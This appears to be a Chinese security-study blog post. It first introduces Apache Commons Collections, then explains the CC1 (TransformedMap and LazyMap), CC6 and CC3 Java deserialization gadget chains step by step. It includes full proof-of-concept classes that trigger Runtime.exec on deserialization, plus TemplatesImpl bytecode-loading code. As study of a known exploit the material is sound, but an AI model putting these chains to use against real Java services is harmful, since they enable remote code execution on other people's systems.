Commons Collections
Apache Commons Collections包和简介 | 闪烁之狐 (blinkfox.github.io)
背景介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Collections的包结构和简单介绍
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag
– 实现Bag接口的一组类org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer
– 实现Buffer接口的一组类org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类org.apache.commons.collections.list
– 实现java.util.List接口的一组类org.apache.commons.collections.map
– 实现Map系列接口的一组类org.apache.commons.collections.set
– 实现Set系列接口的一组类
* *********** 常用类 ***********
* 1. org.apache.commons.collections4.CollectionUtils
* isEmpty 判断集合是否为空
* isNotEmpty 判断集合不为空
* isEqualCollection 比较两集合值是否相等, 不考虑元素的顺序
* union 并集, 不会去除重复元素
* intersection 交集
* disjunction 交集的补集
* subtract 差集, 不去重
* unmodifiableCollection 得到一个集合镜像,不允许修改,否则报错
* containsAny 判断两个集合是否有相同元素
* getCardinalityMap 统计集合中各元素出现的次数,并以Map<Object, Integer>输出
* isSubCollection a是否 b 的子集合, a集合大小 <= b集合大小
* isProperSubCollection a是否 b 的子集合, a集合大小 < b集合大小
* cardinality 某元素在集合中出现的次数
* find 返回集合中满足函数式的唯一元素,只返回最先处理符合条件的唯一元素, 以废弃
* filter 过滤集合中满足函数式的所有元素
* transform 转换新的集合,对集合中元素进行操作,如每个元素都累加1
* countMatches 返回集合中满足函数式的数量
* select 将满足表达式的元素存入新集合中并返回新集合元素对象
* selectRejected 将不满足表达式的元素存入新集合中并返回新集合元素对象
* collect collect底层调用的transform方法, 将所有元素进行处理,并返回新的集合
* addAll 将一个数组或集合中的元素全部添加到另一个集合中
* get 返回集合中指定下标元素
* isFull 判断集合是否为空
* maxSize 返回集合最大空间
* predicatedCollection 只要集合中元素不满足表达式就抛出异常
* removeAll 删除集合的子集合
* synchronizedCollection 同步集合
*
* 2. org.apache.commons.collections4.MapUtils
* isEmpty 判断Map是否为空
* isNotEmpty 判断Map是否不为空
* getBoolean 从Map中获取 Boolean, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getBooleanValue 从Map中获取 boolean, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getDouble 从Map中获取 Double, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getDoubleValue 从Map中获取 double, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getFloat 从Map中获取 Float, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getFloatValue 从Map中获取 float, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getInteger 从Map中获取 Integer, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getIntegerValue 从Map中获取 int, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getLong 从Map中获取 Long, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getLongValue 从Map中获取 long, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getString 从Map中获取 String, 其重载方法有三个参数, 表示如果转换失败则使用默认值
* getMap 获取Map类型的值
* putAll 将二维数组放入Map中
*
*/
CC1
关于cc1的反序列化,网上一般有两条链子,一个就是ysoserial中的lazymap链,还有transformedmap链
环境搭建
- JDK8u65(高版本jdk中AnnotationinvocationHandler的readObject被重写了
- [openJDK 8u65](jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org))
- Maven
后面的具体配置可以看Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili和Java反序列化Commons-Collections篇01-CC1链 | 芜风 (drun1baby.top)
执行类分析
我们要先了解一下在cc1里实现了Transformer接口的几个方法
ChainedTransformer:输入对象将传递给第一个转换器。转换后的结果将传递给第二个转换器,依此类推。类似递归的操作,每次转换的输出结果将作为下一次转换的输入。
InvokerTransformer:通过反射创建新的对象实例的转换器实现。InvokerTransformer 是 Apache Commons Collections 库中的一个类,它可以通过反射机制调用指定对象的指定方法,并返回方法执行结果。它是一个转换器(Transformer)实现,用于将输入对象转换为调用指定方法后的返回值。
InvokeTransformer重写的transform函数是cc1链的关键点
ConstantTransformer :它是一个转换器(Transformer)实现,用于将输入对象转换为一个固定的常量值。
这里我们先重点说一下InvokerTransformer
InvokerTransformer的有参构造需要三个参数
这三个参数在transform方法里都有用到,从这里我们能分别看出这三个函数的作用。methodName是需要获取的方法名,paramTypes是这个方法的参数类型,args参数则是它的参数列表。同时input也是transform的形参,也就是说是,我们可以利用InvokerTransformer.transform以反射的方式去调用一些其他的方法
然后我们试着去调用Runtime
首先正常使用是
Runtime.getRuntime().exec("calc");
通过反射则是
Runtime runtime = Runtime.getRuntime();
//获得类对象
Class r = Runtime.class;
//获得exec方法
Method exec = r.getMethod("exec", String.class);
//执行calc命令
exec.invoke(runtime,"calc");
利用InvokerTransformer.transform执行命令
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
那么假设我们在序列化中传入了InvokerTransformer类,如果在反序列化的过程中,有能够触发transform的地方,不就可以实现命令执行了吗?
现在我们已经找完反序列化中的执行类了,接下来就需要去找有没有哪里调用了transform
这里能够利用的地方一共有两处,分别是LazyMap和TransformedMap,这也造成了cc1的两条链
TransformedMap链
分析
//transformValue方法
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
//checkSetValue方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
//transformKey方法
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
这三处调用transform的方法其实根本上都差不多,都是调用keyTransformer或valueTransformer的transform方法,而keyTransformer和valueTransformer在构造函数中都进行了赋值
TransformedMap:TransformedMap 是 Apache Commons Collections 框架中的一个类,它实现了一个 Map 接口,可以对其所包含的键值对进行转换操作。可以在原有的 Map 对象的基础上,提供一种能够对键或值进行自定义转换的方式。具体来说,TransformedMap 实例将会对 get、put 和 containsKey 方法进行重载,从而在访问 Map 中的键值对时,通过指定的转换器来对键或值进行转换操作。
这个构造方法是protected类型的,所以类中肯定还有其他方法调用了这个构造方法
decorate这个静态方法我们可以很方便的调用,接下来只要找到有调用checkSetValue、transformValue、transformKey三个方法其中之一的我们可以利用的函数就也可以执行命令了。
满足这个条件的其实在TransformedMap 下就有一个
调用了transformValue和transformKey,利用这个我们可以再写出一种在不直接调用InvokerTransformer.transform方法的命令执行路径
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
//可以触发两次//将keyTransformer和valueTransformer都成为exec,实际上put之后就会变成transform(exec)
Map decorate = TransformedMap.decorate(map, exec, exec);
Object calc = decorate.put(runtime, runtime);
如果我们能再找到调用了put方法的函数,可能也能找到一条反序列化的利用链。
不过这和我们的TransformedMap 链没有关系,我们要利用的是第三个函数checkSetValue,
在AbstractInputCheckedMapDecorator抽象类中的一个静态类MapEntry中的setValue方法中就调用了checkSetValue方法
那接下来我们就需要去找哪里能够触发AbstractInputCheckedMapDecorator.MapEntry.setValue()
MapEntry是AbstractMapEntryDecorator的子类,而AbstractMapEntryDecorator又实现了Map.Entry接口,可以看出MapEntry中的setValue方法其实就是Entry中的setValue方法的重写
当 TransformedMap执行transformedMap.entrySet()得到的entry[]数组元素都是AbstractInputCheckedMapDecorator类的对象,
可以通过执行以下代码,在entry.setValue打断点确认entry的类型
public class test {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
HashMap<Object, Object> map = new HashMap<>();
map.put("set_key", "set_value");
Transformer invokerTransformer =new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});;
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
}
}
这里entry是AbstractInputCheckedMapDecorator类型的,所以这里的setValue()
实际上就是在 Map 中对一组 entry(键值对)进行setValue()
操作。
所以触发AbstractInputCheckedMapDecorator.MapEntry.setValue()的方式我们也清楚了,对Map进行遍历并调用setValue就可以了
而在AnnotationinvocationHandler的readObject方法中,恰好有这样一个既遍历了Map,又对Map.Entry调用了setValue方法
我们再看一下AnnotationinvocationHandler
在构造方法中需要两个参数,一个是继承了Annotation的类对象,另一个是Map类型的值,这个map就是我们调用TransformedMap.decorate后返回的数值。
而且由于这个类不是public类型的,所以需要利用反射去实例化
到这里我们的整个利用链就已经可以整理出来了
入口类是AnnotationinvocationHandler
执行类是InvokerTransformer
AnnotationinvocationHandler -> readObject
AbstractInputCheckedMapDecorator.MapEntry -> setValue
TransformedMap -> checkSetValue
InvokerTransformer -> transform
完善
我们找到了入口类,利用链,执行类,看起来已经完美了,但是仍存在一些问题需要我们去解决
首先,Runtime对象是我们自己生成的,不能进行序列化
其次,AnnotationinvocationHandler 的readObject函数中还有两个if判断需要我们去解决
最后,setValue中的内容应该是我们要调用的对象,而不是
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))
一、Runtime不能进行序列化
如果Runtime不能序列化,那么我们想要执行的命令也就无法进行序列化,不能通过反序列化达到命令执行的目的
但是,虽然Runtime不能进行序列化,可Runtime.class可以
所以我们同样可以利用反射和InvokerTransformer.transform方法达到能够将我们想要执行的命令进行序列化的目的
// Class<Runtime> rc = Runtime.class;
// Method getRuntime = rc.getMethod("getRuntime");
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime)getRuntime.invoke(null);//getRuntime是静态方法,所以invoke的第一个参数可以写null
Runtime runtime = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
// runtime.exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
这里可以看到其实我们真正需要输入的只有Runtime.class,剩下的都是前一个的输出,所以这里我们可以借助之前提的ChainedTransformer进行简化
Transformer[] t = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//获得getMethod方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//相当于getRuntime.invoke(null),产生一个实例化的Runtime类型对象r
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};//执行r.exec("calc")
//在InvokeTransformer中相当于
//Method method = r.getClass().getMethod(exec, String.class);
//return method.invoke(r, calc);
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
chainedTransformer.transform(Runtime.class);
二、绕过readObject函数中的两个if判断
首先我们创建的hashmap里需要有值,不然memberValues为0,for循环也不会进入
第一个if判断,获取的是我们传入的注解的类里的成员方法,同时Hashmap里的key要和成员方法的名一样
但是Override里并没有成员变量
public @interface Override {
}
所以我们需要换一个,例如Target
这时候就能满足第一个if判断了
而第二个判断是否存在的也肯定满足,因此这个问题也解决了
三、setValue中的内容应该是我们要调用的对象
我们已经知道如果想达到命令执行的目的,必须有这样一个调用方式
chainedTransformer.transform(Runtime.class);
但是现在我们调试时可以看到
setValue里的参数是
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))
这时valueTransformers已经是是我们构造的ChainedTransformer,但value参数并不是我们想要的 Runtime.class
因此这里还需要借助ConstantTransformer,它能将输入对象转换为一个固定的常量值
也就是假设我们将Transformer数组的第一位加上new ConstantTransformer(Runtime.class),也就相当于我们给ConstantTransformer返回的iConstant值设置为了Runtime.class
那么在执行到TransformedMap里的checkSetValue时,第一次的chainedTransformer.transform调用的是ConstantTransformer的transform,返回的内容是固定的Runtime.class,实质上就是相当于将第二次调用transform的value赋值成了Runtime.class,满足了我们想要的chainedTransformer.transform(Runtime.class)
完整的poc为
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
// InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
map.put("value","value");
Map decorate = TransformedMap.decorate(map, null, chainedTransformer);
//
//创建AnnotationinvocationHandler的类对象
Class<?> AIH_construct = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造方法
Constructor<?> declaredConstructor = AIH_construct.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
ser(o);
unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
总结
入口类是AnnotationinvocationHandler
执行类是InvokerTransformer
利用链是
AnnotationinvocationHandler.readObject
AbstractInputCheckedMapDecorator.MapEntry.setValue
TransformedMap.checkSetValue
InvokerTransformer.transform
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap
LazyMap链
刚才我们分析完了TransformedMap链,接下来再来看LazyMap
分析
LazyMap类中的get方法调用了transform方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
map中的containKey(key)方法是判断Map 集合对象中是否包含指定的键名。如果存在则返回true,反之,返回false
如果我们能让factory是InvokerTransformer 类,并且key为Runtime.class的话,也同样能完成命令执行的目的
先看一下factory的赋值过程
通过静态的decorate调用protected类型的构造方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这里两个参数和Transformed一样,所以要传的东西也一样,这里可以试着触发一下
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Transformer[] t = new Transformer[]{
// new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
decorate.get(Runtime.class);
上面我们是手动调用的get方法,但是实际上并不会有给我们手动调用get方法的机会,因此我们就要找一个能触发get的方法了
还是我们熟悉的AnnotationInvocationHandler类,里面的invoke方法正好调用了get
而memberValues属性的值也是在构造方法里进行的赋值,是可控的
那要再考虑如何调用invoke
还记得我们提到过的动态代理吗?
要实现动态代理需要有一个实现了InvocationHandler接口的对象,而这个AnnotationInvocationHandler中恰好实现了InvocationHandler接口,动态代理会自动调用实现了InvocationHandler接口的对象中的invoke方法,于是我们可以使用动态代理的方法来调用invoke方法
// 因为AnnotationInvocationHandler不是public的,所以需要通过反射去实例化
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//decorate 就是LazyMap.decorate返回的那个map变量。这时候memverValue就是我们构造好的Map了
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
// 构造动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
接下来去找我们的入口点,还是在AnnotationInvocationHandler的readObject 中,由于动态代理的缘故,
只要memberValue是我们构造的动态代理,就会在执行memberValues.entrySet前,先调用invoke方法,触发我们的调用链
所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹。
Object invocationHandler = declaredConstructor.newInstance(Override.class, proxyMap);
完整的poc为
package org.LazyMapSer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
// decorate.get(Runtime.class);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Object proxyMap = Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Object invocationHandler = declaredConstructor.newInstance(Override.class, proxyMap);
ser(invocationHandler);
unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
总结
入口类和执行类和TransformedMap链一样没变
入口类是AnnotationinvocationHandler
执行类是InvokerTransformer
调用链是:
AnnotationinvocationHandler.readObject
memberValues.entrySet()
AnnotationinvocationHandler.invoke
LazyMap.get
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap
Proxy
CC6
分析
先说一些前置知识
由于cc1的两条链都利用了AnnotationinvocationHandler中的readObject方法,导致在高版本的jdk中由于AnnotationinvocationHandler的readObject方法的修改而无法进行利用。但cc6的链并没有版本限制。
TiredMapEntry类官方的介绍是这可用于使映射条目能够在基础映射上进行更改,没太看懂,但是具体的效果是把输入的Map对象和Object对象以key=value的形式输出出来,Object对象是key。
对LazyMap类中的get方法选择的不同的函数造成了CC1的另一条LazyMap链
在TiredMapEntry中也有一个调用get的方法,这条链被叫做CC6
恰好这个map和key也是在构造函数里赋值的,是我们可以控制的
那么假设map是LazyMap类型,key是Runtime.class,就同样可以实现调用LazyMap.get()的目的了
接下来要去找哪里调用了getValue函数
同样是在TiredMapEntry类,hashCode函数
可以手动调一下,前半部分和之前都一样
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Transformer[] t = new Transformer[]{
// new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, Runtime.class);
tiedMapEntry.hashCode();
后面就是怎么调hashCode了,如果跟过URLDNS的应该很容易想到就是HashMap
在HashMap重写的readObject里调用了hash函数,而hash函数里就调用了hashCode方法
假设此时的key是tiedMapEntry,整个链子就能成功执行了
按照我们的想法,这个poc该这么构造
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("sds","sss");
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "123");
ser(decorate);
unser();
完善
看起来链子很完美,但实际上如果真正运行不会运行成功
他会提示java.lang.ProcessImpl这个类不能进行序列化,为什么会出现这个类呢,原因就是hashMap.put,
put方法会调用hashCode,然后调用TiedMapEntry类里的get方法,恰好get方法里还有个put
而其中的value就是我们命令执行后的一个java.lang.ProcessImpl类型的值
导致执行完后decorate里的内容变为了
造成了无法序列化的问题
另外put后调用的LazyMap的get方法在map中没有这个key,也就是在decorate中没有对应的key时将这个key加入decorate,那么在反序列化时,由于decorate已经有了这个key,所以就不满足if判断,直接return了
解决这两个问题都很好办,因为这个键值对的key就是TiedMapEntry里我们传入的第二个参数
所以用decorate.remove(tiedMapEntry.getKey());或者decorate.clear();删了就行(如果是用删除的方法,在用idea调试的过程中不要去看tiedMapEntry属性的值,因为这样会调用tiedMapEntry类中的toString,然后再调getValue,我们前边的删除就白删了)
还有一个问题是如果objectObjectHashMap里有值,那么调用的HashMap里的readObject的key和value第一次就是objectObjectHashMap的key和value,第二次才会到hashMap的键值,很怪,不知道为什么。可能是因为两个HashMap对象反序列化的时候是一块调用的同一个readObject
但如果没有值,key的值就是TiedMapEntry类型的对象
另外由于put的原因,所以在生成的时候也会调用我们的链,所以这里可以利用反射的方式去修改tiedMapEntry里的内容,让其不会执行命令。这里是修改LazyMap的内容
Class LazyMapClass = LazyMap.class;
Field factory = LazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,chainedTransformer);
在put后把factory的值改为我们构造的chainedTransformer,而在LazyMap初始化时的Transformer可以随便填一个Transformer,比如new ConstantTransformer(1)。另外这样还可以让在put时调用的LazyMap的get方法里的put就会变成123=1了,不会出现java.lang.ProcessImpl类型影响反序列化
最终的payload为
package org;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class HashMapTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// objectObjectHashMap.put("111","222");
Map decorate = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "123");
Class LazyMapClass = LazyMap.class;
Field factory = LazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,chainedTransformer);
// decorate.remove(tiedMapEntry.getKey());
decorate.clear();
ser(hashMap);
unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
总结
调用链为:
HashMap -> readObject
TiedMapEntry -> hashCode
TiredMapEntry -> getValue
LazyMap -> get
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer -> transform
CC3
CC3和上面写的CC1和CC6有不小的区别,最大的区别就是原本的 CC1 链与 CC6 链是通过 Runtime.exec()
进行命令执行。
而在CC3里,是通过动态类加载机制来执行恶意代码
动态类加载机制
在类加载的过程中,我们知道字节码加载过程是
loadClass -> findClass -> defineClass
而在Java | Ethe's blog (ethe448.github.io)的类加载机制的部分,我们展示了一种通过ClassLoader.defineClass 字节码加载任意类的攻击方式
不过单纯的调用defineClass是不能执行类的,若要执行就必须先进行实例化
而CC3恰好就是找到了利用defineClass并进行了实例化实现的反序列化攻击
TemplatesImpl类
defineClass被重载了好几次,这里随便讲两个
name
为类名,b
为字节码数组,off
为偏移量,len
为字节码数组的长度。
现在我们的 defineClass()
方法的作用域为 protected
,我们需要找到作用域为 public
的类,方便我们利用。
IDEA里右键查找用法
最后会在TemplatesImpl.TransletClassLoader里的defineClass找到一个可以利用的地方,这里没有标注作用域,也就是默认的default属性,在同一个包下可以访问
我们再找一下调用它的函数
又被defineTransletClasses调用了,但是又是个private,所以还要接着找
还是TemplatesImpl这个类,getTransletInstance调用了defineTransletClasses
这里的_class值会在defineTransletClasses里赋值为defineClass加载后的字节码,然后再借助后面的newInstance就能实现恶意类的实例化,然后执行恶意代码。但是这个还是private,所以还要去找一个public的。
恰好这里就有一个
找到这里之后我们就可以先想办法去利用我们之前找到的这些去试着动态加载类了
TemplatesImpl利用
理论上只要调用new TemplatesImpl(),然后调用newTransformer方法就能到达defineClass(),然后加载恶意类。但在这里面还有一些代码逻辑上的问题
首先这里遇到的问题就是在getTransletInstance方法里的两个if判断
要让_name不为null,还要让_class为null
这两个都是类里的私有变量,而TemplatesImpl的公共的构造函数是个空函数
也就是说我们只能利用反射的方式来进行赋值了
在defineTransletClasses里也有一个if判断
_bytecodes不能为null,不然会直接抛出异常
而且他还是我们想要执行的恶意类,一个字节的二维数组类型
另外这个_tfactory也不能为空,不然也会报错
这里我们生成一个恶意类的字节码文件
写完后现在的代码为
TemplatesImpl templates = new TemplatesImpl();
// _name赋值不为null
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
// _class赋值为null
Field classField = templates.getClass().getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
//加载恶意类的字节码
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
//转为二维数组
byte[][] codes = {code};
//_tfactory赋值
bytecodes.set(templates,codes);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
但是执行后报了空指针异常
在TemlatesImpl的defineTransletClasses方法里,第422行
下个断点能看出来因为不满足if判断,进入了else中,然后又因为_auxClasses的值为空,导致的空指针异常
但是这里我们要选让程序满足if判断的方式,而不是给_auxClasses赋值,因为在下面还有一个对_transletIndex的判断(两个都改了也能弹计算器,而且感觉更简单一点
接下来说一下满足if判断的方式
这里superClass是我们构造的恶意类的父类,所以这个if判断就是让我们恶意类的父类的名称和这个ABSTRACT_TRANSLET一样
这个ABSTRACT_TRANSLET是个被赋值的常量
所以只要让我们的恶意类继承一下com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet就好了
改完后重新编译一下
CC1的利用
现在确定只要调用newTransformer方法就可以加载恶意类
那我们还记得在cc1里InvokerTransformer.transform可以以反射的方式去调用一些其他的方法
所以这里我们以反射调用newTransformer不就行了吗
这里我们改一改CC1的Transformer数组
Transformer[] t = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null)
};
然后前半部分用我们之前构造的,后面用CC1的就行
CC6的利用
既然CC1可以,那CC6自然也可以,改的地方也一样,其余部分不动
